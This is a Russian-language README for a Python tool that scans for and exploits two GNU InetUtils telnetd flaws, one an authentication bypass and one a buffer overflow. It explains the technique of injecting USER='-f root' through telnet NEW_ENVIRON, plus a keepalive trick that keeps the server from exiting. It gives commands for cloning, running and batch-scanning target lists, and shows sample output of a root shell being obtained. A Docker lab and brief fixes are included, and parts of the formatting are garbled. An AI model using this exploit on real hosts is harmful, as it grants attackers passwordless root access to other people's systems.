
сканер/эксплойтер CVE-2026-24061 & CVE-2026-32746
Инструмент для оценки безопасности на Python, который обнаруживает и (где применимо) эксплуатирует две критические уязвимости в GNU InetUtils telnetd:
USER (CVSS 9.8)Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей.
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый этим инструментом. Используйте на свой страх и риск.

TELNET_SCAN_VERBOSE=1, чтобы видеть каждый IAC-пакет и пошаговое описание эксплуатацииgit clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
python3 telnet_scanner.py
Протестируйте эксплойт на заведомо уязвимой цели, не рискуя реальными системами:
cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Цель: 127.0.0.1, Порт: 2323
Лаборатория запускает уязвимый GNU InetUtils 2.5 telnetd в изолированном контейнере, привязанном только к localhost. Без доступа к сети.
Отладка рукопожатия telnet и точное отображение происходящего на линии:
TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py
Подробный вывод показывает:

1192.168.1.100 или example.com)23, если оставить пустым)1 – обе уязвимости2 – только CVE-2026-24061 (обход аутентификации)3 – только CVE-2026-32746 (переполнение буфера)targets.txt:
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# Это строка комментария – игнорируется
223)Если CVE-2026-24061 успешна:
id, whoami, ls)Ctrl+C, чтобы выйти из оболочки и вернуться в меню сканераНикакого отдельного терминала или дополнительных действий не требуется.
Эксплойт выполняет точное 6-шаговое рукопожатие telnet для обеспечения совместимости с реальным GNU InetUtils telnetd:
DOTTYPE, TSPEED, XDISPLOC, NEW_ENVIRONUSER="-f root" через подпроверку NEW_ENVIRONDO/WILL для SGA, ECHO, LINEMODE, NAWSФоновый поток keepalive каждые 2 секунды отправляет IAC NOP, чтобы предотвратить обнаружение EOF функцией ttloop() в telnetd и вызов exit(1) до обработки полезной нагрузки.
Уязвимый telnetd передаёт -f root в /usr/bin/login, обходя аутентификацию и предоставляя немедленный доступ к оболочке root.
LINEMODE (RFC 1184)=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 1
Port (default 23):
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100
[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...
[*] Checking if service is reachable...
[+] Service reachable
[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
[STEP 1/6] Waiting for server negotiation (may take up to 15s)...
[STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
decoded: IAC DO TERMINAL-TYPE
decoded: IAC DO TERMINAL-SPEED
decoded: IAC DO X-DISPLAY-LOCATION
decoded: IAC DO NEW-ENVIRON
[STEP 2/6] Responding WILL to all DO options
[STEP 3/6] Waiting for SB SEND subnegotiation requests...
[STEP 4/6] Sending subnegotiation responses...
NEW-ENVIRON IS VAR USER VALUE "-f root" *** EXPLOIT ***
[STEP 5/6] Handling remaining option negotiations...
[STEP 5/6] Text received: 'root@vuln-lab:~# '
[RESULT] SUCCESS: Passwordless root login via USER="-f root" injection
=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 2
Port (default 23):
Enter filename with targets (one per line): targets.txt
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
[*] Loaded 3 targets from targets.txt
==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable
[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
[?] Shell obtained! Interact now? (y/N): n
[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable
==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23
==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable
[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable
[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)
============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================
Если вы обнаружили уязвимые системы, примените следующие исправления:
NEW_ENVIRON USER, начинающимися с -fПрилагаемый каталог lab/ предоставляет безопасную, воспроизводимую тестовую среду:
cd lab
docker compose up -d
# Подождите ~10 секунд для инициализации telnetd
python3 ../telnet_scanner.py
# Цель: 127.0.0.1, Порт: 2323
Возможности лаборатории:
labuser:labpass123) для отладкиОстановите лабораторию по завершении:
cd lab && docker compose down

Особая благодарность @leetcrypt – Правильное 6-шаговое рукопожатие, поток keepalive, подробный режим и лаборатория Docker – это круто!
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: предназначено только для авторизованного тестирования безопасности и образовательных целей.
# root@$